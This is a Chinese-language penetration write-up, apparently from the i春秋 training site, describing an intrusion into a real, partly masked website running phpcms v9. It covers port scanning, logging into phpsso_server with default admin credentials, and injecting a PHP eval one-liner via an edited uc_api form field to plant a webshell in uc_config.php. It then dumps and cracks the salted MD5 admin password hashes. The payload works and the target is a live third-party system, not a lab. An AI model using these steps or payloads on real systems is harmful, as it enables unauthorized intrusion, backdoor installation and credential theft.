本文来源于i春秋学院,未经允许严禁转载
phpcms v9版本最近爆了好几个漏洞,网上公开了不少信息,但没有真正实战过,就不能掌握其利用方法,本次是在偶然的机会下,发现一个网站推荐楼凤信息,通过分析,其采用了phpcms系统,经过测试成功获取webshell。
1.1扫描及分析端口信息
使用“nmap -p 1-65535 -T4 -A -v www.****.info”命令对该网站进行全端口扫描,获取端口信息如图1
所示,扫描结束后发现网站对外开放了21、22、80、3306以及8888端口,感觉能利用的也就是21、80、3306和8888端口。
图1端口开放情况
1.2网站cms识别
通过http://www.****.info/robots.txt获取其文件内容:
User-agent: *
Disallow: /caches/
Disallow: /phpcms/
Disallow: /install/
Disallow: /api/
Disallow: /admin.php/
Disallow: /errpage/
Disallow: /uploadfile/
Disallow: /wp-crons.php/
Disallow: /statics/
Disallow: /plugin.php/
Disallow: /jiekou.php/
Disallow: /wp-crons.php/
Disallow: /phpmyadmin_sjsby8239yh2w9/
Disallow: /360safe/
Disallow: /404/
Disallow: /404.htm
Sitemap: /sitemap.html
Sitemap: /sitemap.xml
在实际试过程中如果没有robots.txt文件,则可以通过查看源代码,查看代码文件中的关键字等信息来确认,还可以使用linux的cms识别工具进行检查。
1.3可利用信息分析和测试
经过分析,该网站为phpcms的可能性最高,就以上信息,可以利用的有:
(1)“/phpmyadmin_sjsby8239yh2w9”可能为phpmyadmin管理地址,经过核实不存在该路径。
(2)admin.php为后台管理地址,经核实http://www.****.info/admin.php无法访问,如图2所示,提示页面没有找到。后续对http://www.****.info/jiekou.php、http://www.****.info/phpcms/、http://www.****.info/caches/进行访问,未发现明显可以利用的信息。
图2页面无法访问
1.4端口信息测试
(1)8888端口访问后,获取后台http://www.****.info:8888/index.php?m=Public&a=login,如图3所示,该平台为LuManager,通过该平台可以管理ftp、mysql数据库等,该平台2.0.99版本还存在SQL注入漏洞以及后台密码绕过漏洞,其url地址为:
(2)80端口对应主站域名。
图3LuManager管理后台
1.5phpsso_server后台管理
直接打开phpsso_server后台管理地址,如图4所示,可以使用默认admin/phpcms进行登录,在本例中顺利登录其后台地址,如图5所示,在该后台首页中可以获取phpcms的版本信息,服务器环境信息,会员总数等。
图4获取phpsso_server后台
图5成功登录后台
1.6获取webshell尝试
1.查看Ucenter配置
在后台管理中单击“系统设置”-“Ucenter配置”,如图6所示,该界面是用来对接Ucerter接口,在Ucenter api地址中存在漏洞。
图6Ucenter配置
2.定位关键字
使用Google浏览器Chrome,使用F12功能键,在dock位置中选择上下,然后在源代码中使用“Ctrl+F”快捷键进行关键字“api”搜索,如图7所示,找到id为uc_api的那一栏。
图7定位uc_api
3.修改关键字
选中后,在Google弹出的菜单中选择编辑html,使用代码进行替换:
<input type="text" class="input-text" name="data[uc_api','test');'\]" id="uc_api" value=";eval($_POST[g]);//" size="50">
图8修改参数值
4.获取webshell
选择“提交”并“更新缓存”即可获取shell,shell一句话后门密码为g,shell地址为:
http://127.0.0.1 /phpsso_server/caches/configs/uc_config.php,如图9所示,成功获取webshell。
图9获取webshell
1.7后续数据分析
1.获取管理员密码
通过查看该数据库xinxi_admin表,获取管理员相关信息,如图10所示,username、password、encrypt以及email信息。
图10获取管理员密码
2.破解管理员密码
phpcms 密码是采用md5加盐,在http://www.cmd5.com/网站中选择加密算法:md5(md5($pass).$salt);Vbulletin;IceBB;dz即可进行破解。如图11所示,如果查询到这会提示进行购买。phpcms会员密码也是采用同样算法,其表为xinxi_member、xinxi_sso_members。
图11破解phpcms管理员密码
1.8总结
如果知道phpcms的sso管理员密码,则可以通过该方法来获取管理员密码。